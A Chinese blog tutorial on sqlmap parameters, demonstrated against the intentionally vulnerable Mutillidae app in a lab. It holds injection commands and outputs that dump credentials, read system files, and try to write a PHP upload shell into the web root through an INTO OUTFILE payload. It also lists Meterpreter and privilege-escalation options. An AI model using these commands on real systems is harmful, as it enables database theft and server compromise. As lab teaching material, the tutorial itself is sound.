Mutillidae是一个开放源码的提供安全渗透测试的Web应用程序, Mutillidae可以安装在Linux、windows xp、windows 7等平台上。下载及安装说明文档详见:mutillidae安装 在owasp top 10选项中,我们可以看到很多提供测试的页面. 这里随便选取一个sql injection地址进行测试.本文紧紧是介绍sqlmap注入工具的常用参数使用方法,参考文档:sqlmap说明文档 本地环境,虚拟机win2k3搭建好Mutillidae. 虚拟机backtrack5 r3进行sqlmap测试。

Using sqlmap for sql injection

获取数据库类型版本信息

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.2/mutillidae/index.php?page=login.php --forms --batch -p username -f --dbms=mysql -b --flush-session --level=5 --risk=3 -v 1

 
返回结果:

web server operating system: Windows
web application technology: Apache 2.4.3, PHP 5.4.7
back-end DBMS: active fingerprint: MySQL >= 5.5.0
html error message fingerprint: MySQL
banner: '5.5.27' #参数说明:
--forms #测试url表单(因为这里测试的是一个登录框,post型的注入测试,其他方法往下看)
--batch #使用默认,不要求用户输入
-p #指定可测试的参数
-f #指纹识别数据库类型
--dbms #指定数据库管理系统
MySQL
Oracle
PostgreSQL
Microsoft SQL Server
Microsoft Access
SQLite
Firebird
Sybase
SAP MaxDB
-b #获取数据库版本信息
--level=(1-5) #要执行的测试水平等级,默认为1
--risk=(0-3) #测试执行的风险等级,默认为1
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
--flush-session #Flush session file for current target.刷新Session file #tips
#如果手工测试可以判断出sql注入类型可以用--technique参数提高效率,默认是B:
B: Boolean-based blind SQL injection
E: Error-based SQL injection
U: UNION query SQL injection
S: Stacked queries SQL injection
T: Time-based blind SQL injection
--technique=E
-s #保存和恢复Session file 指定一个不同的路径
获取当前数据库用户名及数据库名

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --current-user --current-db --flush-session --technique=E --level=5 --risk=3 -v 1

#返回结果:
[02:49:56] [INFO] fetching current user
[02:50:01] [INFO] retrieved: root@localhost
current user: 'root@localhost' [02:50:01] [INFO] fetching current database
[02:50:05] [INFO] retrieved: nowasp
current database: 'nowasp' #参数说明:
--current-user #获取当前数据库用户名称
--current-db #获取当前数据库名称 #tips
#判断当前数据库用户权限:
--privileges -U 用户名
--is-dba -U 用户名
获取所有数据库及用户和密码hashes

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --users --passwords --dbs --technique=E --level=5 --risk=3 -v 1

#返回结果:
database management system users [59]:
[*] ''@'linux'
[*] ''@'localhost'
[*] 'pma'@'localhost'
[*] 'root'@'linux'
[*] 'root'@'localhost'
database management system users password hashes:
[*] pma [1]:
password hash: NULL
[*] root [2]:
password hash: NULL
password hash: NULL
available databases [8]:
[*] cdcol
[*] information_schema
[*] mysql
[*] nowasp
[*] performance_schema
[*] phpmyadmin
[*] test
[*] webauth #参数说明:
--users #列出数据库所有用户
--passwords #列出数据库所有用户密码hashes
--dbs #列出所有数据库 #tips
#如果要读取指定用户的密码hash:
--passwords -U root
列出指定数据库中的表名

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --tables -D nowasp --technique=E --level=5 --risk=3 -v 1

#返回结果:
Database: nowasp
[7 tables]
+----------------+
| accounts |
| balloon_tips |
| blogs_table |
| captured_data |
| credit_cards |
| hitlog |
| pen_test_tools |
+----------------+ #参数说明:
--tables #获取数据库中所有表名
-D #指定数据库名
列出指定数据库表项的所有字段名

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --columns -D nowasp -T accounts --technique=E --level=5 --risk=3 -v 1

#返回结果:
Database: nowasp
Table: accounts
[5 columns]
+-------------+------------+
| Column | Type |
+-------------+------------+
| cid | int(11) |
| is_admin | varchar(5) |
| mysignature | text |
| password | text |
| username | text |
+-------------+------------+ #参数说明:
--columns #列出表中所有字段名
-T #指定数据库表名
获取指定字段数据(脱裤)

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --dump -D nowasp -T accounts -C "username,password" --technique=E --level=5 --risk=3 -v 1

#返回结果:
Database: nowasp
Table: accounts
[16 entries]
+----------+--------------+
| username | password |
+----------+--------------+
| kevin | 42 |
| admin | adminpass |
| john | monkey |
| jeremy | password |
| bryce | password |
| jim | password |
| bobby | password |
| simba | password |
| dreveil | password |
| scotty | password |
| cal | password |
| john | password |
| ed | pentest |
| samurai | samurai |
| dave | set |
| adrian | somepassword |
+----------+--------------+ #参数说明:
--dump #dump数据库表项
-C #指定字段名 #tips
--start 2 --stop 4 #dump一个范围类的数据(配合--dump使用). 如:
此语句加上参数--start 2 --stop 4返回:
+----------+-----------+
| username | password |
+----------+-----------+
| admin | adminpass |
| john | monkey |
| jeremy | password |
+----------+-----------+
--dump-all #dump所有数据库表项
--replicate #Replicate dumped data into a sqlite3 database
读取指定文件

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --file-read "c:/boot.ini" --technique=E --level=5 --risk=3 -v 1

#返回结果:
[boot loader]\r
timeout=30\r
default=multi(0)disk(0)rdisk(0)partition(1)\\WINDOWS\r
[operating systems]\r
multi(0)disk(0)rdisk(0)partition(1)\\WINDOWS="Windows Server 2003, Enterprise" /noexecute=optout /fa
c:/boot.ini file saved to: '/pentest/database/sqlmap/output/192.168.1.3/files/c__boot.ini' #参数说明:
--file-read #读取系统指定文件
上传本地文件

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch --file-write "/tmp/test.txt" --file-dest "F:/xampp/htdocs/mutillidae/test/test.php" --technique=E --level=5 --risk=3 -v 4

#返回结果:
[ERROR] none of the SQL injection techniques detected can be used to write files to the underlying file system of the back-end MySQL server #参数说明:
--file-write #上传本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
--file-dest #上传到的绝对路径 #tips
--proxy=http://localhost:8080 #如使用burpsuite时代理端口配置
--prefix "a'" --suffix "or 'a'='a" #

这里针对post提交的测试未成功 可以-v 4看看HTTP请求 GET?. --os-shell -v 4得到提交limit 1 into outfile语句 截取一段解码后如:

POST /mutillidae/index.php?page=login.php HTTP/1.1
Accept-Encoding: identity
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.3
Accept-language: en-us,en;q=0.5
Pragma: no-cache
Cache-control: no-cache,no-store
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: sqlmap/1.0-dev-25eca9d (http://sqlmap.org)
Cookie: showhints=0;PHPSESSID=qvel8iet1d713f4q00n8gr60s6
Connection: close username=a' LIMIT 1 INTO OUTFILE 'C:/xampp/htdocs/mutillidae/includes/tmpuptvk.php' LINES TERMINATED BY <?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\xampp\\htdocs\\mutillidae\\includes> <input type=submit name=upload value=upload></form>";}?> -- or 'a'='a&password=&login-php-submit-button=Login

我这木测试成功 可以使用burpsuite抓包修改post数据提交或者wireshark配合tcpdump nc提交试试

sqlmap --cookie注入测试

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=capture-data.php --cookie="page = capture-data.php\r\nshowhints = 1\r\nPHPSESSID = m565a24c08ld1uheri0rpnqqt3\r\n" --dbs --level=5 --risk=3 -v 4

#返回结果:
available databases [8]:
[*] cdcol
[*] information_schema
[*] mysql
[*] nowasp
[*] performance_schema
[*] phpmyadmin
[*] test
[*] webauth #参数说明:
--cookie #HTTP Cookie header #tips
--cookie-urlencode #URL Encode generated cookie injections
--string #指定关键词,字符串匹配. 也可以用--regexp

sqlmap --auth-type and --auth-cred认证注入测试

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --auth-type Basic --auth-cred "admin:adminpass" --dbs --level=5 --risk=3 -v 4

#返回结果:
available databases [8]:
[*] cdcol
[*] information_schema
[*] mysql
[*] nowasp
[*] performance_schema
[*] phpmyadmin
[*] test
[*] webauth
#这里就拿前面dump出的数据进行测试 #参数说明:
--auth-type #HTTP身份验证类型(Basic, Digest or NTLM)
--auth-cred #HTTP身份验证凭据(name:password) #tips
--auth-cert #客户端证书key_file,cert_file.

结合Metasploit’s Meterpreter注入

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --os-pwn --msf-path=/opt/framework/msf3 --priv-esc --technique=E --level=5 --risk=3 -v 1

#返回结果:
自行测试 #参数说明:
--os-pwn #Prompt for an out-of-band shell, meterpreter or VNC
--msf-path #matesploit绝对路径
--priv-esc #Database process' user privilege escalation #tips
--os-smbrelay #One click prompt for an OOB shell, meterpreter or VNC
--os-bof #Stored procedure buffer overflow exploitation
--tmp-path=TMPPATH #Remote absolute path of temporary files directory

其他参数配合使用

#编码
--tamper=TAMPER #Use given script(s) for tampering injection data 如:
--tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py #读取注册表项值
--reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1 #操作数据库
--sql-shell #提供一个交互的sql shell
--sql-query=QUERY #执行sql语句 #查资料看见有用-z,根据参数及结果可以了解哈
-z "ign,flu,bat,ban"
返回:
web server operating system: Windows
web application technology: Apache 2.4.3, PHP 5.4.7
back-end DBMS: MySQL 5.0
banner: '5.5.27' #对于需要暴力猜表字段类的 如mysql4,在/pentest/database/sqlmap/txt下存放这字典可以自行添加
common-columns.txt common-tables.txt smalldict.txt wordlist.txt
common-outputs.txt keywords.txt user-agents.txt #tips
--threads #设置线程
--user-agent=AGENT #HTTP User-Agent header
--random-agent #Use randomly selected HTTP User-Agent header
--referer=REFERER #HTTP Referer header
......

sqlmap post型注入其他方法:

1.使用burpsuite抓包获取提交的参数信息保存为post-sql.txt,然后执行:

root@bt:/pentest/database/sqlmap# python sqlmap.py -r /root/Desktop/post-sql.txt -p username --dbs --text-only --level=5 --risk=3 -v 3

2.使用--data参数执行:

root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --data="username=&password=&login-php-submit-button=Login" -p username --batch --threads=10 --dbs --level=5 --risk=3 -v 3
 

Mutillidae品台上使用sqlmap注入测试的更多相关文章

  1. 利用sqlmap注入测试

    安装:yum install -y gitcd /usr/local && git clone https://github.com/sqlmapproject/sqlmap.gitc ...

  2. 通过BurpSuite和sqlmap配合对dvwa进行sql注入测试和用户名密码暴力破解

    0x1 工具和环境介绍 dvwa:渗透测试环境 BurpSuite:强大的WEB安全测试工具 sqlmap:强大的sql注入工具 以上工具和环境都在kali linux上安装和配置. 0x2 步骤说明 ...

  3. Sql注入测试--Sqlmap

    慕课网sqlmap学习笔记: 一.SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 例如 (1)在url上 ...

  4. 【Pyhon】利用BurpSuite到SQLMap批量测试SQL注入

    前言 通过Python脚本把Burp的HTTP请求提取出来交给SQLMap批量测试,提升找大门户网站SQL注入点的效率. 导出Burp的请求包 配置到Burp的代理后浏览门户站点,Burp会将URL纪 ...

  5. sqlmap注入小结

    sqlmap注入时: 1.判断可注入的参数 2.判断可以用那种SQL注入技术来注入 3.识别出哪种数据库 4.根据用户选择,读取哪些数据 sqlmap支持五种不同的注入模式: 1.基于布尔的盲注,即可 ...

  6. sqlmap注入技巧收集

    收集了一些利用Sqlmap做注入测试的TIPS,其中也包含一点绕WAF的技巧,便于大家集中查阅,欢迎接楼补充.分享. TIP1 当我们注射的时候,判断注入 http://site/script?id= ...

  7. Sqlmap注入技巧集锦

    当我们注射的时候,判断注入 http://site/script?id=10 http://site/script?id=11-1 # 相当于 id=10 http://site/script?id= ...

  8. 使用sqlmap注入DVWA的SQL Injection菜单

    1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...

  9. sqlmap注入入门

    sqlmap注入入门 sqlmap的用法: ​ linux中: sqlmap [选项] ​ Windows中: python sqlmap [选项] 常用的参数及含义: 目标 ​ -d DIRECT ...

  10. SQLMAP注入教程-11种常见SQLMAP使用方法详解

    sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了.今天把我一直 ...

随机推荐

  1. TextBrewer:融合并改进了NLP和CV中的多种知识蒸馏技术、提供便捷快速的知识蒸馏框架、提升模型的推理速度,减少内存占用

    TextBrewer:融合并改进了NLP和CV中的多种知识蒸馏技术.提供便捷快速的知识蒸馏框架.提升模型的推理速度,减少内存占用 TextBrewer是一个基于PyTorch的.为实现NLP中的知识蒸 ...

  2. Python 实现专属字典生成器

    编写一个密码生成工具,这里我们使用弱密码与个性化数组组合形成一个定制字典,例如收集用户的姓名,昵称,QQ号手机号等资源,然后通过Python对搜集到的数据与弱密码进行结合,从而定制出属于某个人的专属密 ...

  3. Python 使用sigthief签发证书

    Windows 系统中的一些非常重要文件通常会被添加数字签名,其目的是用来防止被篡改,能确保用户通过互联网下载时能确信此代码没有被非法篡改和来源可信,从而保护了代码的完整性.保护了用户不会被病毒.恶意 ...

  4. Pdfium.Net.Free 一个免费的Pdfium的 .net包装器--创建字符子集

    项目地址: Pdfium.Net:https://github.com/1000374/Pdfium.Net PdfiumViewer:https://github.com/1000374/Pdfiu ...

  5. 常用TS总结

    自己常用的 TS 写法总结,应该会一直更新.可使用 TS在线编译 校验 TS 语法. 基本用法 普通 const num: number = 10 const isStop: boolean = fa ...

  6. Nginx 简介 转载:https://www.cnblogs.com/wztshine/p/16162640.html

    Nginx 安装环境 安装 gcc 安装 nginx 需要先将官网下载的源码进行编译,编译依赖 gcc 环境,如果没有 gcc 环境,则需要安装: yum install gcc-c++ 安装 PCR ...

  7. react中的setState是同步还是异步?react为什么要将其设计成异步?

    壹 ❀ 引 了解react的同学都知道,react遵守渲染公式UI=Render(state),状态决定了组件UI最终渲染的样子(props也可以理解为外部传入的状态),由此可见state对于reac ...

  8. JS leetcode 检查单词是否为句中其他单词的前缀 解题分析,活用startsWith方法

    壹 ❀ 引 今天来做一道题目贼长,但做起来不难的题,为啥昨天前天没写呢,因为题目太简单了,没收获额外有用信息,已知的知识反复写就有些浪费时间了.今天的题目来自leetcode1455. 检查单词是否为 ...

  9. Python递归遍历目录并删除文件中的前N行

    1 import os 2 3 # 遍历目录下的所有文件 4 def check_file(file_path): 5 os.chdir(file_path) 6 print(os.path.absp ...

  10. 基于keras的时域卷积网络(TCN)

    1 前言 时域卷积网络(Temporal Convolutional Network,TCN)属于卷积神经网络(CNN)家族,于2017年被提出,目前已在多项时间序列数据任务中击败循环神经网络(RNN ...